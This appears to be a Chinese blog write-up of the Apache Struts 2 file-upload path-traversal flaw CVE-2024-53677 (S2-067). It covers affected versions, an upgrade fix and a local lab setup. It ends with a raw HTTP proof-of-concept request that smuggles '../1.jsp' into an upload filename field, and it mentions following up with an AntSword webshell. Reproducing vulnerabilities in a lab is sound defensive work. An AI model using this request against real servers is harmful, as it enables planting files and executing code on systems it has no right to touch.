CVE-2024-53677:Apache Struts 2文件上传逻辑漏洞S2-067

CVE-2024-53677:Apache Struts 2文件上传逻辑漏洞S2-067

HowellFeng

2025-01-21 发布323 浏览 · 1 点赞 · 0 收藏

0x01 简介

Apache Struts2是常用的Java Web应用框架,在文件上传功能上存在严重缺陷。因对上传文件类型验证不严,攻击者能绕过过滤规则,上传恶意文件。这可导致任意代码执行,让攻击者获取系统权限,窃取敏感数据、破坏文件,严重威胁企业信息安全 。

0x02 漏洞概述

一个在 Apache Struts 框架中发现的严重漏洞,允许攻击者远程执行任意代码。该漏洞的CVSS评分为9.5,属于高危漏洞。漏洞的根本原因是文件上传逻辑存在缺陷,攻击者可以利用该缺陷进行路径遍历,从而上传恶意文件到服务器的任意位置,实现远程代码执行。
影响范围

  • 受影响版本
    • 2.0.0 <= Apache Struts <= 2.3.37(EOL--终止支持)
    • 2.5.0 <= Apache Struts <= 2.5.33
    • 6.0.0 <= Apache Struts <= 6.3.0.2
  • 不受影响版本
    • Apache Struts >= 6.4.0
      修复建议:将 Apache Struts 框架升级到 6.4.0 或更高版本,并迁移到新的文件上传机制(即使用 Action File Upload Interceptor 来处理文件上传),从而防止该漏洞。
      漏洞详情
  • 漏洞类型:文件上传、路径遍历
  • 利用条件:存在上传点,且代码中使用了 FileUploadInterceptor 作为文件上传组件
  • 危害描述:成功利用可能导致文件上传获取服务器权限,攻击者可以执行远程代码、获取敏感数据、破坏网站内容或进行其他恶意活动。

0x03 环境搭建

一、安装JDK并配置环境变量
  1. Java Downloads | Oracle 中国安装JDK
  2. 下好后点击安装包开始安装
  3. 右击此电脑->点击属性->点击高级系统设置->点击环境变量->点击系统变量的新建



  4. 配置第一个变量:JAVA_HOME

  5. 配置第二个变量:%JAVA_HOME%\bin


  6. 配置第三个变量
    • 变量名:CLASSPATH
    • 变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar
  7. 点击确定

  8. 检查是否配置成功:win+R打开运行->输入cmd->点击确定->输入java --version->输入javac
二、安装配置Maven并配置环境变量
  1. 下载Apache Maven
  2. 配置环境变量
    1. 配置系统环境变量:MAVEN_HOME
    2. 配置系统变量:
    3. 验证是否安装配置成功:输入mvn -v
  3. 修改默认仓库
    1. 在某个目录新建一个文件夹(文件名自定)
    2. 修改maven文件夹下conf文件夹的settings.xml的仓库地址
  4. 使用阿里云镜像(也在settings.xml
<mirror>
       <id>nexus-aliyun</id>
       <mirrorOf>*</mirrorOf>
       <name>Nexus aliyun</name>
       <url>http://maven.aliyun.com/nexus/content/groups/public</url>
</mirror>
  1. IDEA配置Maven
    1. 设置->构建、执行、部署->Maven
    2. 设置->编辑器->常规->自动导入
三、安装配置IDEA
  1. 安装IDEA与Apache Tomcat
  2. 用IDEA打开源码
  3. 配置Tomcat

0x04 漏洞复现

  1. 在IDEA中运行项目
  2. 浏览器中输入http://localhost:8081/untitled_war进行访问
  3. 用Burpsuite进行抓包
  4. 利用POC上传一个测试jsp,利用路径穿越到web根目录,成功
POST /untitled_war/uploads.action HTTP/1.1
Host: IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://172.16.65.98:8080/untitled_war/
Content-Type: multipart/form-data; boundary=---------------------------376058448320617365003265882680
Content-Length: 529
Origin: http://192.168.0.116:8080
Connection: close
Cookie: JSESSIONID=953590EEDDD585B3CFE1A15E18C518C9
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: application/octet-stream

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>

<body>
    <p>test</p>
</body>
</html>


-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="uploadFileName[0]";

../1.jsp
-----------------------------376058448320617365003265882680--


5. 也可上传代码,使用蚁剑进行连接(后续补充)

请前往 登录/注册 即可发表您的看法…